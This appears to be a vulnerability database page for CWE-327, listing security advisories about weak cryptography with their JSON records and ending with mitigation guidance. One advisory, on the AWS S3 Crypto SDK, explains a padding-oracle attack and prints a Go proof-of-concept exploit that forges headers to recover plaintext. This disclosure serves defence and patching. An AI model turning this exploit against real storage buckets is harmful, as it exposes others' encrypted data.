CWE-327
Allowed-with-ReviewUse of a Broken or Risky Cryptographic Algorithm
Abstraction: Class · Status: Draft
The product uses a broken or risky cryptographic algorithm or protocol.
960 vulnerabilities reference this CWE, most recent first.
GHSA-77JF-FJJF-XCWW
Vulnerability from github – Published: 2019-08-23 21:42 – Updated: 2021-07-27 21:15Versions of openpgp prior to 4.3.0 are vulnerable to an Invalid Curve Attack. The package's implementation of ECDH fails to verify the validity of the communication partner's public key. The package calculates the resulting key secret based on an altered curve instead of the specified elliptic curve. Attackers may exfiltrate the victim's private key by choosing the altered curve. An attack requires the attacker being able to initiate message decryption and record the result. Furthermore the victim's key must offer an ECDH public key.
Recommendation
Upgrade to version 4.3.0 or later.
If you are upgrading from a version <4.0.0 it is highly recommended to read the High-Level API Changes section of the openpgp 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openpgp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-9155"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2019-08-23T21:39:35Z",
"nvd_published_at": "2019-08-22T16:15:00Z",
"severity": "MODERATE"
},
"details": "Versions of `openpgp` prior to 4.3.0 are vulnerable to an Invalid Curve Attack. The package\u0027s implementation of ECDH fails to verify the validity of the communication partner\u0027s public key. The package calculates the resulting key secret based on an altered curve instead of the specified elliptic curve. Attackers may exfiltrate the victim\u0027s private key by choosing the altered curve. An attack requires the attacker being able to initiate message decryption and record the result. Furthermore the victim\u0027s key must offer an ECDH public key.\n\n\n## Recommendation\n\nUpgrade to version 4.3.0 or later.\nIf you are upgrading from a version \u003c4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0",
"id": "GHSA-77jf-fjjf-xcww",
"modified": "2021-07-27T21:15:18Z",
"published": "2019-08-23T21:42:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9155"
},
{
"type": "WEB",
"url": "https://github.com/openpgpjs/openpgpjs/pull/853"
},
{
"type": "WEB",
"url": "https://github.com/openpgpjs/openpgpjs/pull/853/commits/7ba4f8c655e7fd7706e8d7334e44b40fdf56c43e"
},
{
"type": "WEB",
"url": "https://github.com/openpgpjs/openpgpjs/releases/tag/v4.3.0"
},
{
"type": "WEB",
"url": "https://sec-consult.com/en/blog/advisories/multiple-vulnerabilities-in-openpgp-js"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-OPENPGP-460225"
},
{
"type": "WEB",
"url": "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Studies/Mailvelope_Extensions/Mailvelope_Extensions_pdf.html#download=1"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1159"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/154191/OpenPGP.js-4.2.0-Signature-Bypass-Invalid-Curve-Attack.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Invalid Curve Attack in openpgp"
}
GHSA-7922-M45J-V4WX
Vulnerability from github – Published: 2023-06-23 00:30 – Updated: 2024-04-04 05:02The OSD Bare Metal Server uses a cryptographic algorithm that is no longer considered sufficiently secure.
{
"affected": [],
"aliases": [
"CVE-2023-28006"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-22T23:15:09Z",
"severity": "HIGH"
},
"details": "The OSD Bare Metal Server uses a cryptographic algorithm that is no longer considered sufficiently secure.\n",
"id": "GHSA-7922-m45j-v4wx",
"modified": "2024-04-04T05:02:06Z",
"published": "2023-06-23T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28006"
},
{
"type": "WEB",
"url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0105601"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79JV-MX3J-G9VR
Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2021-12-15 00:01IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-39002"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-09T17:15:00Z",
"severity": "HIGH"
},
"details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.",
"id": "GHSA-79jv-mx3j-g9vr",
"modified": "2021-12-15T00:01:39Z",
"published": "2021-12-10T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39002"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/213217"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220114-0002"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6523802"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7CGM-FX9J-3RCR
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04EMC RSA BSAFE Micro Edition Suite (MES) 4.0.x before 4.0.8 and 4.1.x before 4.1.3 and RSA BSAFE SSL-C 2.8.9 and earlier do not properly restrict TLS state transitions, which makes it easier for remote attackers to conduct cipher-downgrade attacks to EXPORT_RSA ciphers via crafted TLS traffic, related to the "FREAK" issue, a similar issue to CVE-2015-0204.
{
"affected": [],
"aliases": [
"CVE-2015-0535"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-20T10:59:00Z",
"severity": "HIGH"
},
"details": "EMC RSA BSAFE Micro Edition Suite (MES) 4.0.x before 4.0.8 and 4.1.x before 4.1.3 and RSA BSAFE SSL-C 2.8.9 and earlier do not properly restrict TLS state transitions, which makes it easier for remote attackers to conduct cipher-downgrade attacks to EXPORT_RSA ciphers via crafted TLS traffic, related to the \"FREAK\" issue, a similar issue to CVE-2015-0204.",
"id": "GHSA-7cgm-fx9j-3rcr",
"modified": "2022-05-13T01:04:38Z",
"published": "2022-05-13T01:04:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0535"
},
{
"type": "WEB",
"url": "http://seclists.org/bugtraq/2015/Aug/84"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/76377"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CJG-HWQ2-X2J2
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08An issue was discovered on MOBOTIX S14 MX-V4.2.1.61 devices. Administrator Credentials are stored in the 13-character DES hash format.
{
"affected": [],
"aliases": [
"CVE-2019-7673"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-09T22:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on MOBOTIX S14 MX-V4.2.1.61 devices. Administrator Credentials are stored in the 13-character DES hash format.",
"id": "GHSA-7cjg-hwq2-x2j2",
"modified": "2022-05-13T01:08:16Z",
"published": "2022-05-13T01:08:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7673"
},
{
"type": "WEB",
"url": "https://gist.github.com/llandeilocymro/7dbe3daaab6d058d609fd9a0b24301cb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F33-F4F5-XWGW
Vulnerability from github – Published: 2022-02-11 23:23 – Updated: 2024-05-20 21:14Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.
Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.
An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.
By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.
The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.
To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:
AES-GCM encrypts using a variant of CTR mode, i.e. C_i = AES-Enc(CB_i) ^ M_i. AES-CBC on the other hand decrypts via M_i = AES-Dec(C_i) ^ C_{i-1}, where C_{-1} = IV. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.
Since AES-Dec(C_i ^ M_i) = CB_i, if we set IV' = CB_i ^ 0x10*[16], where 0x10*[16] is the byte 0x10 repeated 16 times, and C_0' = C_i ^ M_i' the resulting one block message (IV', C_0') will have valid PKCS5 padding if our guess M_i' for M_i was correct, since the decrypted message consists of 16 bytes of value 0x10, the PKCS5 padded empty string.
Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in 0x01, 0x0202, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using IV'' = IV' ^ (0x00*[15] || 0x11) with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value 0x10 and one byte of value 0x01 if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.
This issue is fixed in V2 of the API, by using the KMS+context key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the KMS key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.
Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the KMS key wrapping option.
Proof of concept
A Proof of concept is available in a separate github repository.
This particular issue is described in combined_oracle_exploit.go:
func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" {
return "", fmt.Errorf("Algorithm is %q, not GCM!", alg)
}
gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv"))
if len(gcmIv) != 12 {
return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv))
}
fullIv := make([]byte, 16)
confirmIv := make([]byte, 16)
for i := 0; i < 12; i++ {
fullIv[i] = gcmIv[i] ^ 0x10
confirmIv[i] = gcmIv[i] ^ 0x10
}
// Set i to the block we want to attempt to decrypt
counter := i + 2
for j := 15; j >= 12; j-- {
v := byte(counter % 256)
fullIv[j] = 0x10 ^ v
confirmIv[j] = 0x10 ^ v
counter /= 256
}
confirmIv[15] ^= 0x11
fullIvEnc := base64.StdEncoding.EncodeToString(fullIv)
confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)
success := false
// Set plaintextGuess to the guess for the plaintext of this block
newData := []byte(plaintextGuess)
for j := 0; j < 16; j++ {
newData[j] ^= data[16*i+j]
}
newHeader := header.Clone()
newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding")
newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc)
newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16")
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc)
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
return plaintextGuess, nil
}
}
return "", fmt.Errorf("Block %d could not be decrypted", i)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-sdk-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.34.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8912"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-24T18:08:44Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.\n\n### Risk/Severity\n\nThe vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.\n\n### Impact\n\nThis advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non \"strict\" versions of C++ and Java S3 Crypto SDKs being present as well.\n\nV1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.\n\nAn attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.\n\nBy default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.\n\nThe attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.\n\nTo understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:\nAES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.\n\nSince `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV\u0027 = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0\u0027 = C_i ^ M_i\u0027` the resulting one block message `(IV\u0027, C_0\u0027)` will have valid PKCS5 padding if our guess `M_i\u0027` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string.\n\nNote however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV\u0027\u0027 = IV\u0027 ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.\n\nThis issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.\n\n### Mitigation\n\nUsing the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option.\n\n### Proof of concept\n\nA [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.\n\nThis particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go):\n\n```golang\nfunc CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {\n\tdata, header, err := input.S3Mock.GetObjectDirect(bucket, key)\n\tif alg := header.Get(\"X-Amz-Meta-X-Amz-Cek-Alg\"); alg != \"AES/GCM/NoPadding\" {\n\t\treturn \"\", fmt.Errorf(\"Algorithm is %q, not GCM!\", alg)\n\t}\n\tgcmIv, err := base64.StdEncoding.DecodeString(header.Get(\"X-Amz-Meta-X-Amz-Iv\"))\n\tif len(gcmIv) != 12 {\n\t\treturn \"\", fmt.Errorf(\"GCM IV is %d bytes, not 12\", len(gcmIv))\n\t}\n\tfullIv := make([]byte, 16)\n\tconfirmIv := make([]byte, 16)\n\tfor i := 0; i \u003c 12; i++ {\n\t\tfullIv[i] = gcmIv[i] ^ 0x10\n\t\tconfirmIv[i] = gcmIv[i] ^ 0x10\n\t}\n // Set i to the block we want to attempt to decrypt\n\tcounter := i + 2\n\tfor j := 15; j \u003e= 12; j-- {\n\t\tv := byte(counter % 256)\n\t\tfullIv[j] = 0x10 ^ v\n\t\tconfirmIv[j] = 0x10 ^ v\n\t\tcounter /= 256\n\t}\n\tconfirmIv[15] ^= 0x11\n\tfullIvEnc := base64.StdEncoding.EncodeToString(fullIv)\n\tconfirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)\n\tsuccess := false\n // Set plaintextGuess to the guess for the plaintext of this block\n\tnewData := []byte(plaintextGuess)\n\tfor j := 0; j \u003c 16; j++ {\n\t\tnewData[j] ^= data[16*i+j]\n\t}\n\tnewHeader := header.Clone()\n\tnewHeader.Set(\"X-Amz-Meta-X-Amz-Cek-Alg\", \"AES/CBC/PKCS5Padding\")\n\tnewHeader.Set(\"X-Amz-Meta-X-Amz-Iv\", fullIvEnc)\n\tnewHeader.Set(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Length\", \"16\")\n\tinput.S3Mock.PutObjectDirect(bucket, key+\"guess\", newData, newHeader)\n\tif input.Oracle(bucket, key+\"guess\") {\n\t\tnewHeader.Set(\"X-Amz-Meta-X-Amz-Iv\", confirmIvEnc)\n\t\tinput.S3Mock.PutObjectDirect(bucket, key+\"guess\", newData, newHeader)\n\t\tif input.Oracle(bucket, key+\"guess\") {\n\t\t\treturn plaintextGuess, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"Block %d could not be decrypted\", i)\n}\n```",
"id": "GHSA-7f33-f4f5-xwgw",
"modified": "2024-05-20T21:14:49Z",
"published": "2022-02-11T23:23:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-7f33-f4f5-xwgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8912"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-sdk-go/pull/3403"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1869801"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/aws-sdk-go"
},
{
"type": "WEB",
"url": "https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0646"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "In-band key negotiation issue in AWS S3 Crypto SDK for golang"
}
GHSA-7F48-X95J-2R8C
Vulnerability from github – Published: 2026-06-16 00:34 – Updated: 2026-06-16 00:34Use of weak SSH cryptographic algorithms in Canon EOS Network Setting Tool Version 1.5.0 or earlier
{
"affected": [],
"aliases": [
"CVE-2026-9261"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T00:16:35Z",
"severity": "HIGH"
},
"details": "Use of weak SSH cryptographic algorithms in Canon EOS Network Setting Tool Version 1.5.0 or earlier",
"id": "GHSA-7f48-x95j-2r8c",
"modified": "2026-06-16T00:34:25Z",
"published": "2026-06-16T00:34:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9261"
},
{
"type": "WEB",
"url": "https://canon.jp/support/support-info/260615vulnerability-response"
},
{
"type": "WEB",
"url": "https://psirt.canon/advisory-information/cp2026-005"
},
{
"type": "WEB",
"url": "https://www.canon-europe.com/support/product-security"
},
{
"type": "WEB",
"url": "https://www.usa.canon.com/about-us/to-our-customers/cpa2026-005-vulnerability-remediation-for-eos-network-setting-tool"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7FM3-965G-VGRP
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access.
{
"affected": [],
"aliases": [
"CVE-2025-41711"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:17:56Z",
"severity": "MODERATE"
},
"details": "An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access.",
"id": "GHSA-7fm3-965g-vgrp",
"modified": "2026-03-10T18:31:18Z",
"published": "2026-03-10T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41711"
},
{
"type": "WEB",
"url": "https://certvde.com/en/advisories/VDE-2025-079"
},
{
"type": "WEB",
"url": "https://certvde.com/en/advisories/VDE-2025-096"
},
{
"type": "WEB",
"url": "https://janitza.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2025-079.json"
},
{
"type": "WEB",
"url": "https://weidmueller.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2025-096.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7FV8-6PP7-6H85
Vulnerability from github – Published: 2026-05-18 17:27 – Updated: 2026-06-09 10:51Impact
The password reset tokenand API key generation uses a weak cryptographical hash algorithm.
Patches
Fixed in 2.6.23 and 3.0.6 version.
Workarounds
Patch the related User.php and ResettingController.php file in the SecurityBundle.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.5"
},
"package": {
"ecosystem": "Packagist",
"name": "sulu/sulu"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-alpha1"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.22"
},
"package": {
"ecosystem": "Packagist",
"name": "sulu/sulu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45701"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:27:22Z",
"nvd_published_at": "2026-06-01T17:17:11Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe password reset tokenand API key generation uses a weak cryptographical hash algorithm.\n\n### Patches\n\nFixed in 2.6.23 and 3.0.6 version.\n\n### Workarounds\n\nPatch the related `User.php` and `ResettingController.php` file in the SecurityBundle.",
"id": "GHSA-7fv8-6pp7-6h85",
"modified": "2026-06-09T10:51:20Z",
"published": "2026-05-18T17:27:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sulu/sulu/security/advisories/GHSA-7fv8-6pp7-6h85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45701"
},
{
"type": "PACKAGE",
"url": "https://github.com/sulu/sulu"
},
{
"type": "WEB",
"url": "https://github.com/sulu/sulu/releases/tag/2.6.23"
},
{
"type": "WEB",
"url": "https://github.com/sulu/sulu/releases/tag/3.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sulu: Weak Cryptographical usage for API Key generation and Reset Tokens"
}
GHSA-7G24-QG88-P43Q
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-01 05:54jose4j before v0.9.3 allows attackers to set a low PBES2 iteration count of 1000 or less.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bitbucket.b_c:jose4j"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-31582"
],
"database_specific": {
"cwe_ids": [
"CWE-327",
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-27T19:13:19Z",
"nvd_published_at": "2023-10-25T18:17:27Z",
"severity": "HIGH"
},
"details": "jose4j before v0.9.3 allows attackers to set a low PBES2 iteration count of 1000 or less.",
"id": "GHSA-7g24-qg88-p43q",
"modified": "2023-11-01T05:54:15Z",
"published": "2023-10-25T18:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31582"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/b_c/jose4j"
},
{
"type": "WEB",
"url": "https://bitbucket.org/b_c/jose4j/commits/1929fe3"
},
{
"type": "WEB",
"url": "https://bitbucket.org/b_c/jose4j/issues/203/insecure-support-of-setting-pbe-less-then"
},
{
"type": "WEB",
"url": "https://github.com/KANIXB/JWTIssues/blob/main/jose4j%20issue.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "jose4j uses weak cryptographic algorithm"
}
Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
